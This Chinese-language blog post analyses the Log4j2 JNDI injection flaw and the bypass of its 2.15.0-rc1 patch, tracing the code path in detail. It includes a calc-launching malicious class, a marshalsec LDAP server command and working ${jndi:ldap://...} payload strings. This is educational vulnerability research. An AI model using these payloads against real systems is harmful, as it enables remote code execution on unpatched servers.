java安全-Log4j2漏洞原理学习与分析
2023-03-09 16:41:00

0x00、前言

原理篇到Log4j2部分,拖得有点久了,继续学习分析

0x01、Log4j2描述

引用描述:

Apache log4j2是一款开源的Java日志记录框架,提供方便的日志记录,通过定义每一条日志信息的级别,能够更加细致地控制日志生成过程,以便用于编写程序时进行调试,在项目上线后出现状况时也可根据日志记录来判断原因,被广泛大量用于业务系统开发环境中。

由于log4j2的优秀性能,大量java开发系统进行使用,导致影响范围极其广泛。

0x02、影响范围

log4j版本 <= 2.14.1

0x03、环境搭建

项目中pom.xml添加依赖

<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>

0x04、漏洞利用

恶意类编译成class文件:

public class EvilPayload {
public EvilPayload() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

恶意类存放位置:

在恶意类位置开启http服务:

借助marshalsec服务开启ldap服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.233:8999/#EvilPayload 9998

漏洞利用,在log日志记录处输入payload,执行触发漏洞:

0x05、漏洞分析

整体来说还是jndi注入的问题,只不过前面经过一系列log4j对字符串的处理取值,最后再执行jndi注入,跟下完整步骤。

日志记录点处断点:

跟进断点,会先进入logIfEnabled方法判断是否开启log日志功能

开启条件需要使用调用的方法值小于=<200(注:调用方法的安全等级可以在配置文件中进行修改,修改后的调用方法同样可触发漏洞)

不同方法对应的level值:

调用的error方法值为200,因此能进入到下面的方法,进入到logmassage方法(日志消息方法)中,继续跟进logmassage方法

接着进入logMessageSafely方法(安全的日志消息方法)中,继续跟进

接着进入logMessageTrackRecursion方法(日志消息跟踪递归方法)中

进入tryLogMessage方法(尝试记录日志消息方法)

进而调用log方法,继续跟进

再进入到LocationAwareReliabilityStrategy的log方法中


进入到LoggerConfig.log方法中,通过调用createEvent方法将日志消息相关的所有信息封装进一个logEvent对象中


创建完后,再调用log方法去处理logEvent对象,跟进

会经过isFiltered方法判断该对象是否是被过滤的对象

由于filter未被调用过赋值过,因此默认为null,因此会返回0,前面由于存在!不等号,因此请求结果为true,进入下一步调用processLogEvent方法

跟进processLogEvent方法,调用关键的callAppenders方法

这里会调用到appender组件(负责写日志的组件),常见的子类(ConsoleAppender:将日志添加到控制台输出;FileAppender:将日志输入到指定文件中;RollingFileAppender:滚动日志记录,当满足某条件时,将日志输入到指定文件中),这里调用的ConsoleAppender

然后调用ConsoleAppendercallAppender方法,接着调用callAppenderPreventRecursion方法处理事件

callAppenderPreventRecursion方法中调用callAppender0方法

callAppender0方法会先通过isFilteredByAppender方法判断appender是否是Filterable的子类和判断事件的类型是否是DENY

由于不是因此进入判断体调用tryCallAppender方法,跟进tryCallAppender方法

该方法调用事件处理器调用append添加事件方法

跟进append方法,调用tryAppend方法,然后再调用directEncodeEvent方法编码事件

跟进directEncodeEvent方法,接着调用encode方法

调用toText方法序列化事件数据,然后调用toSerializable方法序列化

然后针对格式程序数组formatters[]进行循环调用format格式化数据

漏洞触发位置为Message的格式程序的format处理

跟进到序号8的format处理,调用MessagePatternConverter针对Message的转换器format格式化处理数据

跟进format格式化处理数据,先是获取message信息

然后进入判断,config存在,并且允许调用Lookup方法,则进入循环体

然后对workingBuilder内容进行搜寻字符串如果存在${符号,则截取完整字符串


workingBuilder内容添加append事件,但会再次对数据进行处理,通过getStrSubstitutor方法获取StrSubstitutor对象,然后调用replace方法替换字符串

跟进replace方法,调用substitute方法

跟进substitute方法


前半段的变量表示:

//prefixMatcher表示'${'前缀
final StrMatcher prefixMatcher = getVariablePrefixMatcher();
//suffixMatcher表示'}'后缀
final StrMatcher suffixMatcher = getVariableSuffixMatcher();
//escape表示'$'
final char escape = getEscapeChar();
//valueDelimiterMatcher表示':-'
final StrMatcher valueDelimiterMatcher = getValueDelimiterMatcher();
//substitutionInVariablesEnabled为true,表示启动变量替换
final boolean substitutionInVariablesEnabled = isEnableSubstitutionInVariables();

然后就是判断位置,截选${}里的内容


取到${}里的内容后,再对内容进行:\-分割取值
如内容为a:\-b,则截选出来值为varname=a,varDefaultValue=b,如果内容中的-号本身就是名称本身,则使用a:\\-b形式转义-号
如内容为a:-b,则截选出来值为varname=a,varDefaultValue=b

如果不是上述情况:如内容为a:b,则varname=a:b,varDefaultValue=null

截选完后,下一步调用到resolveVariable方法

跟进resolveVariable方法,调用到lookup方法

跟进lookup方法,前半段是获取内容:前的前缀,识别到jndi,然后查询strLookupMap表,找到jndi对应值获取到jndilookup


然后调用JndiLookup.lookup方法

触发漏洞

0x06、修复情况

官方修复声明文档

2.15.0正式版本修复:关闭了jndi协议,添加白名单机制,只允许本地访问ldap

2.16.0正式版本修复:日志不再支持lookup功能,lookup功能在配置中仍然可用

2.17.0正式版本修复:移除LDAP,JNDI连接仅在java协议中被支持

在2.15.0正式版本之前,依次推出了2.15.0-rc1、2.15.0-rc2的两次补丁,其中rc1存在问题,rc2算是修复rc1的补丁,但这两次rc版本都没在官网上进行发布,而是直接发布在github上,官网正式发布版本为2.15.0,在其之后。


在部署2.15.0-rc1版本中出了问题,很多仓库都没有rc1版本只有2.15.0的正式版,耽误了很多时间,就按2.15.0正式版本部署上去看区别吧

在运行流程中toText后格式化信息步骤就跟2.14.0版本发生了变化,到format格式化步骤

这里的转换器变成了MessagePatternConverter类的内部类SimpleMessagePatternConverter来进行处理

因此调用的format方法为调用到该类的formatTo方法

跟进append方法



这里直接返回输出信息,并不会对信息中的${进行匹配处理

到此输出完成,运行结束,其中没有涉及${的匹配处理,也没有调用jndi。

除此之外,2.15.0-rc1版本开始还对lookup方法进行了修改,添加了条件判断,仅允许本地访问jndi和ldap,也对反序列化数据进行了校验

0x07、2.15.0-rc1绕过

根据2.15.0-rc1的修复情况目前知道的点:

  • 默认情况会调用SimpleMessagePatternConverter类来转换数据并直接输出。
  • 默认关闭了jndi调用。

也就是说想要继续匹配${内容,必须更改转换器,并且开启jndi的调用才能进入到最后的lookup调用的步骤(先不考虑仅允许本地地址调用jndi这个地方,先考虑如何到这里)

在更换成的MessagePatternConverter类中,存在一个类LookupMessagePatternConverter,该类就跟2.14.0的版本步骤差不多,匹配${截取替换

也就是将下面的转换器更改成LookupMessagePatternConverter

MessagePatternConverter类的初始化方法newInstance提供了更换转换器,但需要满足条件:

  • lookups变量要为true
  • 存在config

先看lookups变量的调用方法loadLookups,要求传入的参数等于lookups

参数为图中的buffer

另外一个条件存在config,即为上图中的event,自然是存在的

现在思路比较清晰,需要实施的事:

  • 调用MessagePatternConverter类的newInstance方法,传递event参数和buffer参数,其中buffer参数值要为lookups

这里借用天下大木头师傅的开启payload:

public class Log4jTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) throws Exception{
// logger.error("${jndi:ldap://localhost:9998/#EvilPayload}");
Configuration configuration = new DefaultConfiguration();
MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://localhost:9998/ EvilPayload}"),null);
messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://localhost:9998/ EvilPayload}"));
}
}

网上还有种开启方式则是在动态调试中对option进行修改值

按上面的payload在最后一步进行下断点
还是跟2.14.0版本步骤一样替换截选步骤,下面步骤一样,就不跟着分析了



调用jndi.lookup


一直到调用到jndiManager.lookup方法

这里协议仅允许java、ldap、ldaps,并且仅允许本地访问

如果遇到报错则进入报错体,由于cr1版本的catch为空,因此只要让他报错就能绕过上面的白名单限制

因此payload可以输下面举例等方式达到报错进入catch体中,变式payload在github上有很多就不一一列举了。

${jndi:ldap://localhost:9998/ EvilPayload}
${jndi:ldap://localhost:9998/\$EvilPayload}

最后运行lookup方法触发漏洞(当前版本为2.15.0版本,rc1环境有问题,就不贴触发截图了)

return (T) this.context.lookup(name);

整体来说除非服务器端更改了配置文件,默认情况开发也不会更改,因此存在漏洞的服务器少了很多的,利用难度也增加了许多,不过可以学习下绕过思路还是能学到很多东西

0x08、2.15.0-rc2修复

rc2为rc1的修复补丁,在catch异常体中添加了返回值null,至此rc1漏洞修复


0x09、总结

整体流程下来主要是对日志信息进行截取替换选取出${}的内容,再根据内容头的协议调用协议对应的lookup方法导致jndi注入,流程链比较长,但核心链比较容易理解和跟踪;rc1则是默认关闭jndi-lookup方法,并且更换了转换器去处理日志信息,并增加了白名单机值去处理lookup访问请求,但由于catch抛出异常体未做处理导致可以绕过,利用环境也更难,总之还是能学到很多东西。

0x10、参考链接

https://su18.org/post/log4j2/
https://www.yuque.com/tianxiadamutou/zcfd4v/els4r7
https://blog.csdn.net/cdyunaq/article/details/121927991